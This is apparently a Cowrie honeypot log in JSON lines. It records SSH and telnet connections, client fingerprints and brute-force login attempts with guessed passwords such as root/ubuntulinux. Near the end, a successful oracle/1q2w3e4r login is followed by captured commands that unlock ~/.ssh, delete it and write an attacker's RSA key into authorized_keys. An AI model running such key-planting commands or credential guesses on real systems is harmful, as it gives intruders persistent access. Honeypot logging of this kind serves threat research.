{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":48178,"dst_ip":"10.17.0.5","dst_port":23,"session":"1113721b23d1","protocol":"telnet","message":"New connection: 20.123.41.163:48178 (10.17.0.5:23) [session: 1113721b23d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:23.475510Z"}
{"eventid":"cowrie.session.closed","duration":4.928547143936157,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:28.403950Z","src_ip":"20.123.41.163","session":"1113721b23d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34632,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ebafad598c0","protocol":"telnet","message":"New connection: 174.138.46.234:34632 (159.203.135.109:23) [session: 2ebafad598c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:53.162210Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34716,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed61bdc91efc","protocol":"telnet","message":"New connection: 174.138.46.234:34716 (159.203.135.109:23) [session: ed61bdc91efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:53.498881Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34906,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d04fce38bf5","protocol":"telnet","message":"New connection: 174.138.46.234:34906 (159.203.135.109:23) [session: 4d04fce38bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:54.040452Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfaf32448f32","protocol":"telnet","message":"New connection: 174.138.46.234:35084 (159.203.135.109:23) [session: cfaf32448f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:54.466864Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":54013,"dst_ip":"10.17.0.5","dst_port":22,"session":"c15a7b8b57fa","protocol":"ssh","message":"New connection: 103.248.120.6:54013 (10.17.0.5:22) [session: c15a7b8b57fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:55.957666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:55.962138Z","src_ip":"103.248.120.6","session":"c15a7b8b57fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:56.185475Z","src_ip":"103.248.120.6","session":"c15a7b8b57fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"digital","message":"login attempt [ubuntu/digital] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:57.100491Z","src_ip":"103.248.120.6","session":"c15a7b8b57fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:58.326201Z","src_ip":"103.248.120.6","session":"c15a7b8b57fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.8116888999938965,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:58.973802Z","src_ip":"174.138.46.234","session":"2ebafad598c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.025320768356323,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:59.524112Z","src_ip":"174.138.46.234","session":"ed61bdc91efc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.907257318496704,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:59.947553Z","src_ip":"174.138.46.234","session":"4d04fce38bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.99072599411011,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:01.527146Z","src_ip":"174.138.46.234","session":"fb8952ea16f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":63191,"dst_ip":"10.17.0.5","dst_port":22,"session":"51cdc3523c79","protocol":"ssh","message":"New connection: 185.48.213.208:63191 (10.17.0.5:22) [session: 51cdc3523c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:01.878100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:01.883154Z","src_ip":"185.48.213.208","session":"51cdc3523c79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:02.001735Z","src_ip":"185.48.213.208","session":"51cdc3523c79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssword","message":"login attempt [user/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:02.511248Z","src_ip":"185.48.213.208","session":"51cdc3523c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:03.639460Z","src_ip":"185.48.213.208","session":"51cdc3523c79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":58859,"dst_ip":"10.17.0.5","dst_port":22,"session":"024343955ccf","protocol":"ssh","message":"New connection: 125.22.105.67:58859 (10.17.0.5:22) [session: 024343955ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:05.413537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:05.418552Z","src_ip":"125.22.105.67","session":"024343955ccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:05.712634Z","src_ip":"125.22.105.67","session":"024343955ccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gzuser","password":"gzuser","message":"login attempt [gzuser/gzuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:06.908076Z","src_ip":"125.22.105.67","session":"024343955ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:08.206569Z","src_ip":"125.22.105.67","session":"024343955ccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":60639,"dst_ip":"10.17.0.5","dst_port":22,"session":"c57808169534","protocol":"ssh","message":"New connection: 155.4.244.179:60639 (10.17.0.5:22) [session: c57808169534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:21.264825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:21.269700Z","src_ip":"155.4.244.179","session":"c57808169534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:21.375376Z","src_ip":"155.4.244.179","session":"c57808169534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test@123","message":"login attempt [admin/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:22.191167Z","src_ip":"155.4.244.179","session":"c57808169534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:23.299968Z","src_ip":"155.4.244.179","session":"c57808169534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":39338,"dst_ip":"10.17.0.5","dst_port":23,"session":"9972ea609c25","protocol":"telnet","message":"New connection: 20.123.41.163:39338 (10.17.0.5:23) [session: 9972ea609c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:39.868925Z"}
{"eventid":"cowrie.session.closed","duration":51.04541087150574,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:39:45.512204Z","src_ip":"174.138.46.234","session":"cfaf32448f32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":56737,"dst_ip":"10.17.0.5","dst_port":22,"session":"000868918494","protocol":"ssh","message":"New connection: 155.4.244.179:56737 (10.17.0.5:22) [session: 000868918494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:24.226911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:24.232078Z","src_ip":"155.4.244.179","session":"000868918494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:24.347104Z","src_ip":"155.4.244.179","session":"000868918494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntulinux","message":"login attempt [root/ubuntulinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:25.185434Z","src_ip":"155.4.244.179","session":"000868918494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:26.297798Z","src_ip":"155.4.244.179","session":"000868918494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.25275993347168,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:28.121534Z","src_ip":"20.123.41.163","session":"9972ea609c25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36258,"dst_ip":"159.203.135.109","dst_port":23,"session":"97d19844b3df","protocol":"telnet","message":"New connection: 174.138.46.234:36258 (159.203.135.109:23) [session: 97d19844b3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:34.581619Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":18652,"dst_ip":"10.17.0.5","dst_port":22,"session":"152b3aab5464","protocol":"ssh","message":"New connection: 125.22.105.67:18652 (10.17.0.5:22) [session: 152b3aab5464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:36.363819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:36.368484Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:36.664225Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1q2w3e4r","message":"login attempt [oracle/1q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:37.858155Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:38.495287Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:38.499883Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:38.504619Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:38.805314Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:39.425125Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:39.428475Z","src_ip":"125.22.105.67","session":"152b3aab5464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.02159857749939,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:40:39.603109Z","src_ip":"174.138.46.234","session":"97d19844b3df","protocol":"telnet"}
